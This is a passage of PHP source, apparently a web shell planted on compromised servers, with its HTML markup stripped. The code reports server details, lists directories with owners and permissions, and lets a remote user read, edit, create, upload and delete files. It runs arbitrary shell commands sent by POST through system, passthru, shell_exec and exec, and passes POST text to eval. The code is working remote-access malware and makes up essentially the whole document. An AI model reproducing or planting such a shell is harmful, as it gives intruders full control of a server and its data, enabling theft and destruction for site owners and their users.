";
echo "DiskSpaceFree ".diskfreespace(getcwd())."
";
if (function_exists("mysql_connect")){echo "My_SQL ON
";}else{echo "My_SQL OFF
";}
if (function_exists("curl_version")){echo "cURL ON
";}else{echo "cURL OFF
";}
echo "Magic_Quotes ".get_magic_quotes_gpc()."
";
echo $_SERVER["HTTP_HOST"]."
";
echo php_uname()."
";
echo getenv("SERVER_SOFTWARE")."
";
echo phpversion()."
";
$diratt = realpath($_POST["dir"]);
echo "
";
echo "";
echo "";
echo "";
echo "";
echo "";
echo "";
echo "";
echo "";
echo "";
echo "";
if ($dirfile = opendir($diratt))
{
while (false !== ($filedir = readdir($dirfile)))
{
$filesiz = sprintf("%01.2f", filesize("$diratt/$filedir")/1024);
$groupid = posix_getpwuid(fileowner("$diratt/$filedir"));
$groupinfo = posix_getgrgid(filegroup("$diratt/$filedir"));
$ow = $groupid[name] ." ". $groupinfo[name];
$info = get_perms("$diratt/$filedir");
if ($filedir != "." && $filedir != "..")
{
if (is_file("$diratt/$filedir"))
{
echo "| $filedir | $ow | $info | $filesiz K |
";
}
else
{
echo "";
}
}
}
}
if (isset($_POST["edit"]))
{
$filedir = $_POST["edit"];
$filedit = file_get_contents($filedir);
echo "";
}
if (isset($_POST["savetest"]) && isset($_POST["save"]))
{
$testnew = $_POST["savetest"];
$filedir = $_POST["save"];
$fail = fopen($filedir, "w+");
fwrite($fail, $testnew);
fclose($fail);
}
$comand = $_POST["comandexe"];
$method = $_POST["command"];
if (isset($comand) && isset($method))
{
if ($method == "system")
{
echo system($comand);
}
elseif ($method == "passthru")
{
echo passthru($comand);
}
elseif ($method == "shell_exec")
{
shell_exec($comand);
}
elseif ($method == "exec")
{
echo exec($comand);
}
}
if (isset($_POST["delete"]))
{
$filedir = $_POST["delete"];
echo "";
if (isset($_POST["yes"]) && isset($_POST["delete"]))
{
chmod($filedir, 0777);
unlink($filedir);
}
}
if (isset($_POST["makefile"]))
{
$namefile = $_POST["makefile"];
echo "";
}
if (isset($_POST["savetest"]))
{
$testnew = $_POST["savetest"];
$filedir = $_POST["makefile"];
$fail = fopen($filedir, "w+");
fwrite($fail, $testnew);
fclose($fail);
}
if (isset($_POST["makedir"]))
{
$makedir = $_POST["makedir"];
mkdir($makedir);
}
$switch = $_POST["tools"];
if ($_POST["send"])
{
if (move_uploaded_file($_FILES["file"]["tmp_name"], $diratt."/".$_FILES["file"]["name"])){unset($_FILES["file"]["tmp_name"]);}
}
switch ($switch)
{
case "hashing":
echo "";
$testo = $_POST["testo"];
$algoritmo = $_POST["algoritmo"];
if (isset($testo) && isset($algoritmo))
{
if (array_search($algoritmo, $algoritmi))
{
$hashing = hash($algoritmo, $testo);
echo "This is your encrypted string: ";
}
}
break;
case "phpinfo":
phpinfo();
break;
case "eval":
echo "";
if (isset($_POST["evaltext"]))
{
$evals = $_POST["evaltext"];
eval($evals);
}
break;
case "mysql":
echo "